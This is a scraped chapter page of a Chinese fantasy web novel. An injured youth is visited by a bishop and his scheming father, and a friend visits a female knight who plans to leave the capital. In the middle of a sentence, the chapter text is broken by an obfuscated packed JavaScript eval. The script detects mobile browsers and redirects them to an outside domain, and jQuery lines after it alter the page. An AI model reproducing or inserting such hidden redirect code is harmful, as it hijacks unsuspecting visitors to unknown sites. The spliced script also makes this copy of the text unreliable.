默认冷灰
24号文字
方正启体

26. 26-幻燈

作者:红色汉堡本书字数:K更新时间:
    当大主教皮尔斯走进病房时,内特正又一次头痛发作,这已经是这星期的第三次了。每个人在纹章能力暴走之后,都会因为副作用而陷入一段时间的疯狂,但是内特·梅菲杰拉德的症状是皮尔斯经手过的所有病人中最严重的。青年脸色苍白,浑身是汗,嘴唇因为缺水而干裂,他受伤的肌肉时不时就会痉挛,导致那些封好线的伤口又裂开。


    看到皮尔斯主教,内特挣扎着要坐起来,被皮尔斯按住。


    “您需要休息,公子。”皮尔斯说,端了一杯温水给他。青年手指颤抖着,他几次想从皮尔斯手中拿到杯子,但是都仿佛视线受损般,每每拿空。皮尔斯把水杯塞进青年手里,内特才终于握住,他很快把杯子凑到嘴边喝了一口。


    皮尔斯搬了一把椅子坐到他身边,摸了摸他的额头。青年的皮肤高热,显然体温一直没降下来。


    内特努力把水咽下去,漂亮的眉毛皱着,彷佛这个动作就让他感到痛苦。皮尔斯的手指掀了一下他的眼皮,看见青年眼球充血,浅金色的眼睛黯淡至极。


    “看东西还是重影?”


    内特虚弱的点点头。他睁开有些浮肿的眼皮,哑着嗓子问道:“什么时候才能好,皮尔斯?”


    皮尔斯主教沉默了一下,“你会康复的。”他说,“你只是需要休息。”


    “我一直在休息!”内特略微提高声音,又咳嗽起来,他的脸痛苦地皱成一团,“我总是头晕,感觉天旋地转,躺在床上也睡不着——然后再惊醒,喘不上气——”内特的声音低下去,他绝望的躺进枕头里,“伤口一直很疼。痛死了——我会不会再也好不了啊,皮尔斯?”


    “不会的,公子。”皮尔斯说,“伤口都处理干净了。只要您安心静养,伤口很快就会愈合的。”


    “我没办法!”内特哑着嗓子叫起来,他想抬起手把额头的碎发撂下去,但是手臂稍微一动,肩膀被割裂的肌肉就传来剧痛。内特急促地喘息起来,“每次肌肉痉挛的时候,我都会痛醒,我又控制不了。皮尔斯。你有没有让我……不那么痛的药……”


    “我有甘草、蜂蜜,公子。这些药材每天您睡觉前都会服用。”


    “不是那些,”内特把头扭过来,睁开红肿的眼睛,看着皮尔斯:“那些——效果更好的。吃下去后,就什么都感觉不到了——你知道我说的是什么。”


    皮尔斯沉默了一下。他的手伸进白金色的主教服里,摸索着什么。他看着桌上的水杯,剩下的半杯温水还在里面晃荡着。实话实说,他有些同情内特了,一个人在这间病房里躺了这么多天,没有任何人来看他,而他面对痛苦的表现比很多公子哥好多了。但他毕竟是宰相的儿子,他不能逾矩。


    没人会违背赖兹瑙的决定,那个总是微笑的、谜一样的男人——但是,如果能从他的儿子身上了解到他的父亲,哪怕只是能力的一角——


    皮尔斯的动作停住了。拐杖拄在地板上的声音由远及近,财政大臣、外交首席,王国之眼——赖兹瑙·梅菲杰拉德走进了病房。


    皮尔斯的手放下去,他起身,朝赖兹瑙鞠了一躬。


    内特有些吃惊的说:“爸、爸爸?您怎么来了?”


    “我来看看我儿子。”赖兹瑙微笑着说,他看见内特身上缠着的绷带,屋里光线很暗,到处弥漫着伤口和草药的气味。赖兹瑙皱了皱眉头,他走到窗前,把百叶窗打开。


    “他该多开窗,晒晒太阳。”赖兹瑙对主教嘱咐道,“内特,你恢复的怎么样?”


    “还是很痛,爸爸。”内特说,“伤口一直在流血,而且头晕,我走路都会摔倒……”


    “嗯,没事。”赖兹瑙说,撩开内特额前银色的碎发。他看了一眼皮尔斯,主教立刻知趣地站起身,从屋里走出去了。等皮尔斯离开,赖兹瑙才坐到椅子上,将拐杖支到一边。


    “你会这么头痛,是因为你强行精神暴走了,发挥了不属于你的实力。”


    “精神暴走?怎么会?我都不知道……”


    “是我做的。”赖兹瑙双手支在下巴上,“克莱希先一步陷入精神暴走。我看见你命悬一线,但是与其我们出手,爸爸相信你能凭自己的力量战胜克莱希。所以我小小的‘推''了你一下。最后的时刻,你是不是觉得一切都变慢了?”


    “是啊,”内特说,“原来是您做的!我还纳闷我的空间能力怎么突然变强了那么多呢。”


    赖兹瑙微笑起来。


    “会的。你继承了你母亲的纹章能力,总有一天,你的能力会比任何人都强大。”赖兹瑙说,“但是精神暴走的后遗症很大。你会怪爸爸吗?”


    内特摇摇头。因为眼睛充血,他还是看不清父亲的脸。但是他努力说道:


    “怎么会?您对我这么好,我永远不会怪您的。”内特说,突然吞吞吐吐起来,“您提到了妈妈。爸爸,她是怎样的人?”


    赖兹瑙没有回答。他掏出怀表,看了一下时间:“下次吧,内特。爸爸还有很多事要做。”


    看着内特沮丧的神情,彷佛心软般,赖兹瑙说:“不过,你总归是拿了冠军,得到奖励也是应该的。”他站起身,内特感觉到父亲的手覆在自己脸上。爸爸的手很冷,他的声音像从另一个世界传来。


    “做个好梦吧。”


    于是,内特的世界颠倒了。昼与夜,光与影,风从百叶窗外吹进来,那风吹在身上却变成温柔的光,白色的纱窗和墙壁消失了,连带着所有痛苦和窒息,柔软的花草从他身下慢慢生长,葡萄架缠绕着紫藤花破土而出,映照着清澈的天空和洁白的云彩。


    他不再躺在病房里,而是躺在一望无际的薰衣草甸上,宁静、悠远,蒲公英随风摇晃着。这是梦吗?还是曾经的记忆?恍惚间,内特突然感觉到一只轻柔温暖的手搭上自己的额头,她玉般的手指穿过自己的头发,她的手掌遮住他的眼睛。透过指缝,他看见微风吹起她银色的头发,那么纤长、蜷曲、闪亮,像天上的星星。


    “内特。”她柔软清亮的声音说,“如果我们有孩子,叫他内特怎么样?”


    ··


    皮尔斯主教整齐衣冠,推门而出,就看见一个有些婴儿肥的褐发青年正拿着花,犹犹豫豫地站在门外。


    “扎克?”主教惊讶地问,“你怎么在这?不进去?”


    “这不是人家父亲也在里面嘛!”扎克说,“我等他们说完话再进去。”


    皮尔斯往门里瞥了一眼,“那你得等很久吧。而且再过半个小时,病人就要睡觉了。”


    “哦……”扎克苦着脸,他犹豫了一下,深吸一口气,敲了敲门。


    “克莱希!”扎克嚷嚷着说,“你恢复的怎么样?我来看你了!”


    听见扎克的声音,克莱希颇为吃惊地抬起头。她靠着枕头,散着及肩的金色头发,穿一件淡蓝色的睡衣。那件衣服有些太大了,衬得她骨架更为纤细苍白。克莱希旁边坐着前议员、前近卫军团长,邓肯·爱达荷先生。


    邓肯·爱达荷虽然曾经是中将,但是现在已经贬为平民,而扎克·特里同作为中将之子,他的贵族身份其实高于克莱希的父亲。但是爱达荷气势逼人,扎克立刻感觉自己矮了对方一头,说话也恭敬起来。


    看见扎克,爱达荷站起身。"你是谁?“


    "叔叔好,我是扎克,扎克·特里同,克莱希的朋友,”扎克说,举起手里的花,“听说最近她快康复了,我来看看。”


    “你看完了,她很好。你走吧。”


    “呃……”


    “爸爸!”克莱希在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502515|186016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱达荷身后说,一边把父亲推开,一边让扎克坐下。“您不要欺负我朋友!他之前在竞技场和我切磋过,您忘啦?”


    “一招就输给你的人我可记不住。”邓肯不假辞色地说。


    “其实我坚持了三招呢。”扎克咕哝道,把手里的一大把金灿灿的菊花递到克莱希面前。“送你!祝你早日康复!”


    克莱希花粉过敏,打了个喷嚏。


    “这花我拿走吧。”邓肯说,边说边把花拿了出去。


    扎克尴尬地坐下来,他望着克莱希道:“你真厉害!同龄人中,从没加过你那么好的剑技和纹章能力。”


    “还差得远呢,”克莱希礼貌的说,“我能力不到家,竟然纹章失控,差点闯下大祸。内特才是临危不乱,真的了不起。”


    “他如果不是作弊,你怎么会出局?我看,你才该是冠军呢。”


    “他只是合理的利用能力。”克莱希说,”在真正的战斗上,唯一的目标就是把敌人杀死,没有作弊不作弊一说。”


    “好吧,好吧,我没有你们那么强的能力,只要你自己不觉得委屈就行。”扎克说,


    “还有一件事,竞技赛结束了,过几天就是陛下的庆功晚宴。你有舞伴了吗?”


    “庆功宴?我们的陛下真是喜欢宴会。”克莱希说,“我还没有舞伴。”


    听到这个消息,扎克立刻兴奋的坐直身体。


    “那我可以邀请你吗?”


    “恐怕不行,扎克。”克莱希说,“我——”


    “如果你担心舞会当天身体恢复不了的话,我们不跳舞也可以!”扎克急急忙忙的解释,“我还可以安排马车……”


    “不是这个原因,扎克。”克莱希摇摇头,“我没法跟你去舞会。我要离开了。”


    “离开?”


    扎克愣了一下。


    “是的。我要从近卫军转为列兵,此后就不在亚斯提都了,大将军已经同意了我的申请。刚刚我就是在和爸爸提这件事。”


    “为什么?你不是在近卫军做的好好的吗?”


    克莱希用手摸了摸额头。


    “这件事很复杂,扎克。自从爸爸辞职以后,我就一直很累。”她说,“即使没有人当面指责你甚麽,你也会感觉做事处处不顺。”


    “我不明白。”扎克讷讷地说,“你又没做错任事……”


    “我没做错吗?作为女性却拿起剑,你不会觉得怪异吗?”


    “我没觉得,我只觉得你酷得不得了。”


    克莱希笑了一下。


    “谢谢你。但是很多人并不是这么想。”克莱希说,“尤其是这件事发生以后。对我来说,当个默默无闻的列兵反而比呆在首都更轻松。”


    “那你会去哪里?”


    “我不知道。军队往哪走我就跟着走。”


    “那,那不是会很辛苦吗?”


    “或许吧。”


    扎克的嘴张到一半,又不知所措的合上。在他出生以来,他从不知道那些财富和拥抱不是理所应当的,他从来众星捧月,应有尽有,不知道这世上很多事从出生起就不公平。他不知道,仅仅是作为男性诞生,就已经获得了很多无数人没有的东西。


    克莱希表情沉静,碧瞳如水,金发柔顺。她微笑着对扎克说:


    ”谢谢你来看我。谢谢你的花。”


    扎克的喉咙动了动,感觉突然嘴唇很干,连眼睛都有些痛。


    “那我还能去看你吗?”


    “我都不知道我会在哪呢。”


    “你还会回来吗?”


    “或许不会。”


    扎克站起身,大步走出病房。克莱希仍靠在枕头上,她仰起头,看见窗外日光明媚,白云飘扬,鸟群倏忽飞过青空。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)